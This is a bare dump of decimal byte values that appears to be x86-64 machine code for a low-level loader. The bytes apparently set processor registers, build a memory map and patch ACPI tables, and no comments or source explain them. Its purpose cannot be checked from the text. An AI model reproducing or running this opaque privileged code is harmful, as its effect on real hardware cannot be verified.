4,224,254,186,32,3,224,254,190,128,3,224,254,72,9,193,199,1,1,0,0,0,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,0,0,1,0,117,235,186,128,4,224,254,190,0,5,224,254,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,255,255,255,255,117,235,72,9,194,199,2,0,0,1,0,186,16,5,224,254,72,9,194,199,2,0,0,1,0,186,32,5,224,254,72,9,194,199,2,0,0,1,0,186,48,5,224,254,72,9,208,186,0,0,16,0,199,0,0,0,1,0,184,0,0,0,1,199,1,0,0,0,0,185,19,4,0,0,15,48,185,8,4,0,192,15,48,250,65,15,32,193,76,137,200,72,37,255,255,255,223,72,13,0,0,0,64,15,34,192,15,9,15,32,216,15,34,216,49,246,65,186,255,2,0,0,68,137,209,72,137,240,72,137,242,15,48,65,184,6,0,0,0,185,0,2,0,0,76,137,192,15,48,187,0,8,0,128,191,255,0,0,0,185,1,2,0,0,72,137,216,72,137,250,15,48,65,187,1,0,0,0,185,2,2,0,0,76,137,192,76,137,218,15,48,185,3,2,0,0,184,0,8,0,0,72,137,250,15,48,185,4,2,0,0,186,2,0,0,0,76,137,192,15,48,185,5,2,0,0,72,137,216,72,137,250,15,48,185,6,2,0,0,72,137,240,76,137,218,15,48,72,99,13,236,32,0,0,186,1,0,0,0,72,193,226,40,72,193,225,30,72,137,200,72,41,202,72,247,216,72,193,234,32,13,0,8,0,0,185,7,2,0,0,15,48,15,9,15,32,216,15,34,216,184,0,12,0,0,68,137,209,72,137,242,15,48,65,15,34,193,251,101,139,4,37,52,0,0,0,133,192,116,11,240,255,5,241,47,0,0,250,244,235,252,72,141,61,188,41,0,0,232,229,10,0,0,186,7,0,0,0,137,208,240,15,177,21,210,47,0,0,117,244,72,141,61,197,41,0,0,232,200,10,0,0,15,32,224,72,37,127,255,255,255,15,34,224,15,32,218,72,139,13,54,48,0,0,72,184,0,240,255,255,255,255,15,0,72,33,194,187,135,0,0,128,72,9,202,72,35,2,72,9,200,72,137,88,16,72,129,195,0,0,0,64,72,199,0,135,0,0,0,72,199,64,8,135,0,0,64,72,137,88,24,49,192,198,0,0,72,255,192,72,61,0,16,0,0,117,242,72,139,29,230,47,0,0,49,192,128,207,16,198,4,3,0,72,255,192,72,61,0,32,0,0,117,241,72,139,5,203,47,0,0,72,141,147,0,16,0,0,72,141,61,81,41,0,0,196,226,248,242,194,72,131,200,7,72,137,3,72,139,21,170,47,0,0,72,193,234,39,129,226,255,1,0,0,72,137,4,211,184,135,0,0,128,72,137,131,16,16,0,0,72,5,0,0,0,64,72,137,131,24,16,0,0,72,199,131,0,16,0,0,135,0,0,0,72,199,131,8,16,0,0,135,0,0,64,232,228,9,0,0,72,139,21,97,47,0,0,102,199,68,36,6,255,7,72,141,131,0,32,0,0,196,226,232,242,208,72,137,84,36,8,72,141,147,0,40,0,0,198,0,0,72,255,192,72,57,194,117,245,72,184,255,255,0,0,0,154,47,0,72,141,61,212,40,0,0,72,137,131,16,32,0,0,72,184,255,255,0,0,0,146,15,0,72,137,131,24,32,0,0,184,153,0,0,0,72,193,224,40,72,137,131,32,32,0,0,232,117,9,0,0,15,183,68,36,6,72,141,13,116,8,0,0,72,139,84,36,8,76,141,108,2,1,72,139,21,0,31,0,0,49,192,72,57,194,116,14,64,138,52,1,65,136,116,5,0,72,255,192,235,237,76,139,37,192,46,0,0,72,141,61,130,40,0,0,196,66,152,242,229,76,3,37,209,30,0,0,232,36,9,0,0,76,139,5,81,46,0,0,185,0,4,0,0,72,139,5,53,46,0,0,72,139,21,142,46,0,0,73,141,172,36,0,2,0,0,72,137,239,76,137,198,73,129,196,0,18,0,0,243,165,196,226,104,242,200,198,133,16,2,0,0,208,137,141,24,2,0,0,72,139,13,6,46,0,0,72,247,210,65,139,184,56,2,0,0,199,133,60,2,0,0,5,0,0,0,72,33,208,137,141,28,2,0,0,72,193,233,32,137,141,196,0,0,0,72,139,13,232,45,0,0,72,193,232,32,68,137,165,40,2,0,0,72,141,119,255,137,133,192,0,0,0,65,33,212,49,192,128,60,1,0,15,149,194,72,57,198,65,15,151,192,72,255,192,68,33,194,128,226,1,117,231,72,57,199,72,15,70,198,49,210,72,57,208,116,13,64,138,52,17,65,136,52,20,72,255,194,235,238,65,198,4,4,0,72,141,61,193,39,0,0,232,77,8,0,0,184,24,0,0,252,72,11,5,197,45,0,0,191,224,0,10,248,72,139,16,72,131,226,254,72,137,16,232,234,24,0,0,191,224,16,10,248,232,224,24,0,0,191,224,32,10,248,232,214,24,0,0,191,224,48,10,248,232,204,24,0,0,191,224,64,10,248,232,194,24,0,0,191,224,80,10,248,232,184,24,0,0,191,224,96,10,248,232,174,24,0,0,191,224,112,10,248,232,164,24,0,0,72,141,61,111,39,0,0,232,219,7,0,0,72,99,13,120,29,0,0,72,184,255,255,255,255,14,0,0,0,72,139,21,71,45,0,0,191,36,32,128,228,190,4,44,128,228,72,193,225,30,72,1,200,72,9,214,72,193,232,24,72,9,215,193,224,16,199,7,0,0,0,0,128,204,15,199,6,0,0,0,0,137,7,184,104,32,128,228,72,9,208,72,193,233,20,199,0,0,4,0,0,184,40,84,128,228,72,9,194,199,6,0,0,0,15,137,10,72,141,61,24,39,0,0,232,102,7,0,0,184,216,134,128,228,72,11,5,222,44,0,0,65,184,0,94,128,228,191,4,94,128,228,65,186,0,0,0,128,190,24,94,128,228,72,199,0,0,0,0,21,184,52,130,128,228,72,11,5,181,44,0,0,72,199,0,0,0,0,80,184,72,208,128,228,72,11,5,162,44,0,0,72,199,0,1,0,0,0,184,72,216,128,228,72,11,5,143,44,0,0,72,199,0,1,0,0,0,184,0,195,128,228,72,11,5,124,44,0,0,72,199,0,0,0,0,0,184,168,193,128,228,72,11,5,105,44,0,0,72,139,16,72,129,226,255,255,231,255,72,137,16,184,32,128,128,228,72,139,13,80,44,0,0,72,9,193,72,139,17,72,129,202,5,0,3,0,72,137,17,72,11,5,57,44,0,0,72,139,16,72,129,226,250,255,252,255,72,137,16,184,96,14,128,228,72,139,13,32,44,0,0,72,9,193,72,139,17,72,129,202,64,1,16,0,72,137,17,185,28,94,128,228,72,11,5,4,44,0,0,72,139,16,72,129,226,191,254,239,255,72,137,16,186,48,94,128,228,72,139,5,235,43,0,0,76,9,192,72,199,0,84,1,0,0,72,139,5,218,43,0,0,72,9,248,76,137,16,72,139,5,205,43,0,0,72,9,240,72,199,0,84,1,0,0,72,139,5,188,43,0,0,72,9,200,76,137,16,72,139,5,175,43,0,0,72,9,208,72,199,0,84,1,0,0,184,52,94,128,228,76,139,13,153,43,0,0,73,9,193,77,137,17,65,185,4,52,129,228,76,11,13,134,43,0,0,73,199,1,1,0,0,0,65,185,12,52,129,228,76,11,13,114,43,0,0,73,199,1,1,0,0,0,76,11,5,100,43,0,0,73,199,0,86,1,0,0,72,11,61,86,43,0,0,72,199,7,240,0,86,24,72,141,61,138,37,0,0,72,11,53,65,43,0,0,72,199,6,86,1,0,0,72,11,13,51,43,0,0,72,199,1,240,0,0,80,72,11,21,37,43,0,0,72,199,2,86,1,0,0,72,11,5,23,43,0,0,72,199,0,240,16,69,1,232,135,5,0,0,72,139,61,4,43,0,0,72,137,238,72,141,76,36,6,72,247,215,72,33,251,72,33,254,72,35,61,132,42,0,0,72,137,218,65,255,213,72,141,61,78,37,0,0,232,86,5,0,0,72,131,196,24,91,93,65,92,65,93,195,243,15,30,250,72,137,61,92,42,0,0,72,137,53,109,42,0,0,72,137,21,86,42,0,0,72,137,13,87,42,0,0,76,137,5,96,42,0,0,68,137,13,193,26,0,0,195,243,15,30,250,49,192,198,4,7,0,72,255,192,72,61,0,16,0,0,117,241,15,182,150,1,2,0,0,49,192,72,131,194,17,138,140,6,241,1,0,0,136,140,7,241,1,0,0,72,255,192,72,57,194,119,234,15,182,151,232,1,0,0,190,0,0,0,128,72,137,208,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,0,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,1,0,0,0,141,80,1,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,0,0,72,199,130,216,2,0,0,0,128,7,0,199,130,224,2,0,0,2,0,0,0,141,80,2,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,8,0,72,199,130,216,2,0,0,0,160,1,0,199,130,224,2,0,0,1,0,0,0,141,80,3,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,160,9,0,72,199,130,216,2,0,0,0,96,0,0,199,130,224,2,0,0,2,0,0,0,141,80,4,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,10,0,72,199,130,216,2,0,0,0,0,2,0,199,130,224,2,0,0,2,0,0,0,141,80,5,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,14,0,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,6,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,16,0,72,199,130,216,2,0,0,0,0,48,0,199,130,224,2,0,0,1,0,0,0,141,80,7,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,64,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,8,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,72,0,72,199,130,216,2,0,0,0,0,32,0,199,130,224,2,0,0,1,0,0,0,141,80,9,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,104,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,10,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,112,0,72,199,130,216,2,0,0,0,128,142,126,72,99,13,147,24,0,0,199,130,224,2,0,0,1,0,0,0,141,80,11,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,254,126,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,4,0,0,0,141,80,12,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,255,126,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,13,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,127,72,199,130,216,2,0,0,0,0,0,1,199,130,224,2,0,0,1,0,0,0,141,80,14,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,199,130,216,2,0,0,0,0,0,96,199,130,224,2,0,0,2,0,0,0,141,80,15,15,182,210,72,107,210,20,72,1,250,72,129,198,0,0,0,96,72,137,178,208,2,0,0,72,129,198,0,0,0,24,72,199,130,216,2,0,0,0,0,0,24,72,193,225,30,199,130,224,2,0,0,2,0,0,0,141,80,16,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,129,198,0,0,0,8,72,199,130,216,2,0,0,0,0,0,4,199,130,224,2,0,0,2,0,0,0,141,80,17,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,1,206,72,137,138,216,2,0,0,199,130,224,2,0,0,2,0,0,0,141,80,18,15,182,210,131,192,19,72,107,210,20,72,1,250,72,137,178,208,2,0,0,190,127,1,0,0,72,193,230,24,199,130,224,2,0,0,1,0,0,0,72,41,206,72,137,178,216,2,0,0,136,135,232,1,0,0,195,243,15,30,250,72,141,61,103,33,0,0,80,49,192,255,21,223,38,0,0,191,2,0,0,0,255,21,132,39,0,0,72,139,61,197,38,0,0,190,0,0,14,0,72,129,207,0,0,14,0,232,123,13,0,0,72,141,61,82,33,0,0,49,192,255,21,173,38,0,0,72,139,61,30,39,0,0,49,201,72,141,53,95,244,255,255,72,137,250,255,21,4,39,0,0,72,141,61,61,33,0,0,49,192,255,21,133,38,0,0,49,192,90,195,250,15,1,17,184,24,0,0,0,142,216,142,208,142,192,142,224,142,232,15,34,218,73,137,252,73,137,245,72,199,199,0,0,0,6,73,137,254,49,210,65,138,148,36,241,1,0,0,72,255,194,72,193,226,9,73,141,52,20,65,139,140,36,244,1,0,0,72,193,225,4,72,1,207,72,1,206,72,131,239,8,72,131,238,8,72,193,233,3,253,243,72,165,252,72,141,37,20,2,0,0,72,131,228,240,106,16,73,129,198,0,2,0,0,65,86,76,137,238,72,203,243,15,30,250,72,131,236,16,72,139,5,241,37,0,0,185,20,224,144,200,186,144,208,3,0,72,9,193,139,49,64,128,230,32,117,4,255,202,117,244,186,0,224,144,200,72,9,208,64,136,56,240,72,131,68,36,8,0,72,131,194,20,72,11,21,187,37,0,0,184,144,208,3,0,139,10,128,225,64,117,4,255,200,117,245,72,131,196,16,195,243,15,30,250,102,64,15,190,199,65,137,248,102,131,248,10,117,10,191,13,0,0,0,232,138,255,255,255,65,15,182,248,235,132,243,15,30,250,73,137,249,65,15,190,57,64,132,255,116,10,73,255,193,232,198,255,255,255,235,237,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,64,128,255,9,141,71,87,119,3,141,71,48,195,72,137,250,137,247,193,239,28,137,241,232,228,255,255,255,65,137,192,72,139,2,137,207,193,239,24,131,231,15,72,141,112,1,72,137,50,68,136,0,232,199,255,255,255,65,137,192,72,139,2,137,207,193,239,20,131,231,15,72,141,112,1,72,137,50,68,136,0,232,170,255,255,255,65,137,192,72,139,2,137,207,193,239,16,131,231,15,72,141,112,1,72,137,50,68,136,0,232,141,255,255,255,65,137,192,72,139,2,137,207,193,239,12,131,231,15,72,141,112,1,72,137,50,68,136,0,232,112,255,255,255,65,137,192,72,139,2,15,182,253,131,231,15,72,141,112,1,72,137,50,68,136,0,232,85,255,255,255,65,137,192,72,139,2,137,207,193,239,4,131,231,15,72,141,112,1,72,137,50,68,136,0,232,56,255,255,255,65,137,192,72,139,2,131,225,15,137,207,72,141,112,1,72,137,50,68,136,0,232,30,255,255,255,65,137,192,72,139,2,72,141,72,1,72,137,10,68,136,0,195,65,87,65,86,65,85,65,84,85,83,82,68,139,103,20,65,190,4,0,0,0,72,137,253,73,137,247,72,141,61,28,31,0,0,68,137,224,37,0,240,255,255,153,65,247,254,68,141,104,240,137,195,68,137,238,49,192,255,21,39,36,0,0,73,99,197,186,56,0,0,0,72,141,188,133,0,1,0,0,76,137,254,232,158,254,255,255,68,137,224,72,99,203,153,65,129,205,0,0,16,0,65,247,254,57,200,126,24,102,131,188,141,2,1,0,0,16,117,8,68,137,172,141,0,1,0,0,72,255,193,235,228,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,249,83,73,137,243,137,213,72,137,203,69,49,210,67,128,60,19,0,116,5,73,255,194,235,244,73,139,57,64,246,199,3,116,12,72,141,71,1,73,137,1,198,7,0,235,235,186,6,0,0,0,72,141,53,130,30,0,0,232,31,254,255,255,49,246,73,131,1,6,76,137,207,232,54,254,255,255,137,238,76,137,207,232,44,254,255,255,49,246,76,137,207,232,34,254,255,255,49,246,76,137,207,232,24,254,255,255,190,1,0,0,0,76,137,207,232,11,254,255,255,49,246,76,137,207,232,1,254,255,255,137,222,76,137,207,232,247,253,255,255,49,246,76,137,207,232,237,253,255,255,49,246,76,137,207,232,227,253,255,255,49,246,76,137,207,232,217,253,255,255,49,246,76,137,207,232,207,253,255,255,65,141,114,1,76,137,207,232,195,253,255,255,49,246,76,137,207,232,185,253,255,255,73,139,57,76,137,210,76,137,222,232,134,253,255,255,77,3,17,73,141,66,1,73,137,1,65,198,2,0,73,139,1,168,3,116,12,72,141,80,1,73,137,17,198,0,0,235,237,91,93,195,243,15,30,250,72,139,15,72,99,214,76,139,5,106,35,0,0,49,192,72,57,194,118,9,198,4,1,0,72,255,192,235,242,72,1,23,49,192,57,198,126,13,69,138,12,0,68,136,12,1,72,255,192,235,239,72,1,23,195,243,15,30,250,72,139,23,49,192,72,139,13,40,35,0,0,198,4,2,0,72,255,192,72,131,248,32,117,243,72,131,7,32,49,192,72,137,198,72,247,222,72,131,248,15,119,7,64,138,116,49,15,235,5,64,138,116,49,47,64,136,52,2,72,255,192,72,131,248,32,117,219,72,131,7,32,195,243,15,30,250,65,84,85,83,72,137,213,72,131,236,16,73,137,204,49,192,72,137,116,36,8,72,137,251,72,141,61,28,29,0,0,255,21,34,34,0,0,72,139,69,0,72,141,12,133,0,0,0,0,76,57,225,116,27,72,139,116,36,8,76,137,226,72,141,61,11,29,0,0,49,192,255,21,250,33,0,0,49,192,235,98,76,139,3,49,192,65,198,4,0,0,72,255,192,72,61,0,1,0,0,117,240,72,139,3,76,137,226,72,141,184,0,1,0,0,72,137,59,72,139,117,24,232,87,252,255,255,65,141,132,36,0,1,0,0,65,137,0,184,1,0,0,8,72,193,224,5,65,199,64,16,16,0,0,0,73,137,64,4,184,1,0,0,0,69,137,96,20,65,199,64,24,0,1,0,0,76,1,35,72,131,196,16,91,93,65,92,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,45,255,255,255,133,192,116,73,72,137,232,199,67,12,7,0,2,0,72,193,232,2,199,67,4,44,0,0,0,137,194,37,255,3,0,0,129,226,0,252,255,255,199,67,32,21,0,0,0,137,83,36,72,141,115,32,137,67,40,72,141,149,224,0,0,0,49,255,232,146,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,201,254,255,255,133,192,116,75,72,184,1,0,0,0,144,0,0,0,199,67,12,7,0,2,0,72,137,67,32,72,184,61,0,0,0,112,2,0,0,199,67,4,52,0,0,0,72,141,149,224,0,0,0,72,137,67,40,72,141,115,32,199,67,48,0,0,0,0,49,255,232,44,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,205,72,139,31,69,137,196,232,96,254,255,255,133,192,116,85,65,131,252,1,199,67,12,2,0,1,0,25,192,199,67,4,48,0,0,0,131,224,9,199,67,36,0,0,0,0,137,67,32,72,137,232,72,193,232,2,72,141,115,32,137,194,37,255,3,0,0,129,226,0,252,255,255,137,67,44,137,83,40,49,255,72,141,149,224,0,0,0,232,185,11,0,0,137,67,28,184,1,0,0,0,91,93,65,92,195,243,15,30,250,72,139,21,218,32,0,0,72,133,210,116,4,49,192,255,226,72,139,5,186,32,0,0,195,243,15,30,250,72,139,21,182,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,226,17,0,0,69,133,192,117,7,72,141,5,22,18,0,0,90,195,72,141,5,13,18,0,0,195,243,15,30,250,72,139,21,129,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,29,27,0,0,69,133,192,117,7,72,141,5,7,27,0,0,90,195,72,141,5,254,26,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,104,2,0,0,49,192,72,137,124,36,24,73,137,254,232,86,255,255,255,72,133,192,117,20,72,141,61,223,26,0,0,49,192,255,21,143,31,0,0,233,254,5,0,0,73,137,196,49,192,232,79,255,255,255,72,141,108,36,24,49,201,186,237,65,0,0,72,141,53,231,26,0,0,72,137,239,72,137,195,232,140,251,255,255,185,32,0,0,0,186,164,129,0,0,72,141,53,207,26,0,0,72,137,239,232,115,251,255,255,72,137,239,76,141,124,36,17,232,164,252,255,255,49,201,186,237,65,0,0,72,141,53,192,26,0,0,232,83,251,255,255,49,201,186,237,65,0,0,72,141,53,177,26,0,0,72,137,239,232,61,251,255,255,72,139,5,180,31,0,0,186,237,65,0,0,72,141,53,163,26,0,0,72,137,239,15,182,64,126,102,131,248,1,69,25,237,49,201,65,131,229,128,65,129,197,0,1,0,0,232,10,251,255,255,186,164,129,0,0,73,99,205,72,141,53,134,26,0,0,72,137,239,232,243,250,255,255,68,137,238,72,137,239,232,235,251,255,255,72,139,21,71,31,0,0,72,133,210,116,4,49,192,255,210,76,141,108,36,32,76,137,255,72,141,21,114,26,0,0,190,7,0,0,0,49,192,255,21,154,30,0,0,76,137,249,72,141,21,98,26,0,0,190,64,0,0,0,76,137,239,49,192,76,141,124,36,96,255,21,123,30,0,0,49,201,186,237,65,0,0,76,137,238,72,137,239,232,139,250,255,255,76,139,13,98,30,0,0,49,192,76,137,76,36,8,232,82,254,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,39,26,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,29,26,0,0,49,192,255,21,29,30,0,0,72,139,67,32,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,44,250,255,255,72,139,75,32,72,141,53,14,26,0,0,73,139,84,36,32,72,137,239,76,139,124,36,24,232,90,252,255,255,133,192,15,132,81,4,0,0,76,137,255,72,141,53,99,15,0,0,232,104,249,255,255,76,139,13,207,29,0,0,49,192,76,141,188,36,160,0,0,0,76,137,76,36,8,232,183,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,188,25,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,130,25,0,0,49,192,255,21,130,29,0,0,72,139,67,40,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,145,249,255,255,72,139,75,40,72,141,53,131,25,0,0,73,139,84,36,40,72,137,239,232,196,251,255,255,133,192,15,132,187,3,0,0,76,139,13,72,29,0,0,49,192,76,141,188,36,224,0,0,0,76,137,76,36,8,232,48,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,68,25,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,251,24,0,0,49,192,255,21,251,28,0,0,72,139,67,24,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,10,249,255,255,72,139,75,24,72,141,53,11,25,0,0,73,139,84,36,24,72,137,239,76,139,124,36,24,232,56,251,255,255,133,192,15,132,47,3,0,0,76,137,255,72,141,53,1,14,0,0,232,70,248,255,255,76,139,13,173,28,0,0,49,192,76,141,188,36,32,1,0,0,76,137,76,36,8,232,149,252,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,184,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,96,24,0,0,49,192,255,21,96,28,0,0,72,139,67,48,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,111,248,255,255,72,139,75,48,72,141,53,128,24,0,0,73,139,84,36,48,72,137,239,76,139,124,36,24,232,157,250,255,255,133,192,15,132,148,2,0,0,76,137,255,72,141,53,38,13,0,0,232,171,247,255,255,76,139,13,18,28,0,0,49,192,76,141,188,36,96,1,0,0,76,137,76,36,8,232,250,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,46,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,197,23,0,0,49,192,255,21,197,27,0,0,72,139,67,56,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,212,247,255,255,72,139,75,56,72,141,53,247,23,0,0,73,139,84,36,56,72,137,239,76,139,124,36,24,232,2,250,255,255,133,192,15,132,249,1,0,0,76,137,255,72,141,53,139,12,0,0,232,16,247,255,255,76,139,13,119,27,0,0,49,192,76,141,188,36,160,1,0,0,76,137,76,36,8,232,95,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,166,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,42,23,0,0,49,192,255,21,42,27,0,0,72,139,3,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,58,247,255,255,72,139,11,72,141,53,112,23,0,0,73,139,20,36,72,137,239,232,211,249,255,255,133,192,15,132,102,1,0,0,76,139,13,243,26,0,0,49,192,76,141,188,36,224,1,0,0,76,137,76,36,8,232,219,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,51,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,166,22,0,0,49,192,255,21,166,26,0,0,72,139,67,8,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,181,246,255,255,72,139,75,8,69,49,192,73,139,84,36,8,72,141,53,244,22,0,0,72,137,239,232,175,249,255,255,133,192,15,132,220,0,0,0,49,201,186,164,129,0,0,72,141,53,219,22,0,0,72,137,239,232,124,246,255,255,76,139,13,83,26,0,0,49,192,76,141,188,36,32,2,0,0,76,137,76,36,8,232,59,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,177,22,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,6,22,0,0,49,192,255,21,6,26,0,0,72,139,67,16,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,21,246,255,255,72,139,75,16,65,184,1,0,0,0,73,139,84,36,16,72,141,53,112,22,0,0,72,137,239,232,12,249,255,255,133,192,116,61,49,201,186,164,129,0,0,72,141,53,60,22,0,0,72,137,239,232,221,245,255,255,72,139,68,36,24,76,41,240,72,61,112,128,1,0,118,27,72,137,198,186,112,128,1,0,72,141,61,53,22,0,0,49,192,255,21,140,25,0,0,72,131,200,255,72,129,196,104,2,0,0,91,93,65,92,65,93,65,94,65,95,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,198,71,9,0,139,79,4,49,210,49,192,57,209,118,8,2,4,23,72,255,194,235,244,247,216,136,71,9,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,141,135,0,128,0,0,72,131,236,72,72,137,4,36,72,137,253,72,137,243,49,192,198,132,5,0,128,0,0,0,72,255,192,72,61,0,128,0,0,117,237,72,137,234,72,137,222,72,141,61,194,21,0,0,49,192,255,21,244,24,0,0,72,139,60,36,185,9,0,0,0,72,137,238,243,165,72,141,133,36,128,0,0,72,141,61,193,21,0,0,72,137,68,36,48,49,192,69,49,255,69,49,237,139,181,16,128,0,0,255,21,191,24,0,0,72,139,181,24,128,0,0,72,141,61,168,21,0,0,49,192,255,21,169,24,0,0,68,139,181,16,128,0,0,72,141,189,36,128,0,0,73,41,222,74,141,68,53,0,139,80,4,72,137,198,72,137,68,36,8,232,13,255,255,255,139,133,16,128,0,0,72,137,238,72,41,222,72,3,181,24,128,0,0,137,92,36,36,72,41,216,139,68,5,4,72,3,68,36,48,139,86,4,72,137,68,36,16,141,67,36,137,133,16,128,0,0,72,139,68,36,16,72,131,192,48,72,137,199,72,137,68,36,24,232,195,254,255,255,72,139,133,24,128,0,0,72,41,216,139,84,5,4,72,139,68,36,24,72,43,4,36,72,1,216,72,137,133,24,128,0,0,72,139,68,36,24,76,141,116,16,96,72,139,68,36,8,139,64,4,72,131,232,36,72,193,232,2,72,137,68,36,40,139,68,36,40,137,68,36,60,68,57,124,36,60,15,142,114,1,0,0,72,139,68,36,8,72,141,61,225,20,0,0,70,139,100,184,36,68,137,100,36,56,73,41,220,73,1,236,68,139,76,36,56,65,139,4,36,137,193,15,182,212,193,233,16,15,182,240,193,232,24,15,182,201,65,137,192,49,192,255,21,165,23,0,0,65,139,4,36,61,70,65,67,80,116,12,61,83,83,68,84,116,119,233,206,0,0,0,65,139,116,36,36,72,141,61,155,20,0,0,49,192,255,21,122,23,0,0,65,139,116,36,40,72,141,61,149,20,0,0,49,192,255,21,102,23,0,0,65,139,116,36,36,76,137,247,186,64,0,0,0,77,141,110,64,72,41,222,72,1,238,232,212,253,255,255,65,139,84,36,4,76,137,230,76,137,239,232,196,253,255,255,76,137,240,72,43,4,36,65,139,84,36,4,3,68,36,36,73,141,116,21,56,65,137,70,100,77,137,238,235,116,77,133,237,116,72,65,139,117,40,73,129,198,240,0,0,0,76,137,247,72,41,222,72,1,238,139,86,4,232,133,253,255,255,65,139,69,40,76,137,239,72,41,216,139,84,5,4,76,137,240,72,43,4,36,3,68,36,36,77,141,180,22,116,1,0,0,65,137,69,40,232,115,253,255,255,235,15,72,141,61,253,19,0,0,49,192,255,21,192,22,0,0,65,139,84,36,4,76,137,230,76,137,247,232,58,253,255,255,65,139,116,36,4,76,1,246,76,137,247,232,66,253,255,255,77,137,242,76,43,20,36,68,3,84,36,36,73,137,246,72,139,68,36,16,68,137,209,70,137,148,189,72,128,0,0,74,137,76,248,84,73,255,199,233,131,254,255,255,131,124,36,40,0,65,184,0,0,0,0,76,137,246,68,15,73,68,36,40,72,43,52,36,72,139,76,36,16,73,99,192,65,255,192,1,243,137,156,133,72,128,0,0,72,137,92,193,84,49,192,65,198,4,6,0,72,255,192,72,131,248,84,117,242,72,184,73,86,82,83,84,0,0,0,65,198,70,8,1,73,137,6,73,141,126,10,186,6,0,0,0,72,141,53,91,19,0,0,232,150,252,255,255,73,141,126,16,186,8,0,0,0,72,141,53,77,19,0,0,232,129,252,255,255,65,199,70,24,37,18,22,32,186,4,0,0,0,73,141,126,28,72,141,53,57,19,0,0,232,100,252,255,255,72,184,37,18,22,32,64,48,32,0,65,199,70,80,4,167,0,0,73,137,70,32,72,184,16,40,36,0,2,0,64,0,73,137,70,48,184,0,0,0,252,73,137,70,56,184,1,36,0,4,72,193,224,37,76,137,247,73,137,70,64,72,184,2,160,0,48,3,161,0,0,73,137,70,72,232,44,252,255,255,72,139,92,36,16,77,141,86,84,66,141,4,133,36,0,0,0,137,133,40,128,0,0,66,141,4,197,36,0,0,0,49,210,137,67,52,49,192,198,133,32,128,0,0,0,198,133,8,128,0,0,0,2,132,21,0,128,0,0,72,255,194,72,131,250,20,117,240,247,216,49,210,136,133,8,128,0,0,49,192,2,132,21,0,128,0,0,72,255,194,72,131,250,36,117,240,247,216,72,139,124,36,48,136,133,32,128,0,0,232,186,251,255,255,72,139,124,36,24,232,176,251,255,255,72,139,52,36,72,137,239,76,137,210,72,43,20,36,72,131,196,72,91,93,65,92,65,93,65,94,65,95,233,119,251,255,255,243,15,30,250,131,200,255,131,255,4,137,249,119,15,184,1,0,0,0,137,194,211,226,137,209,211,224,255,200,195,243,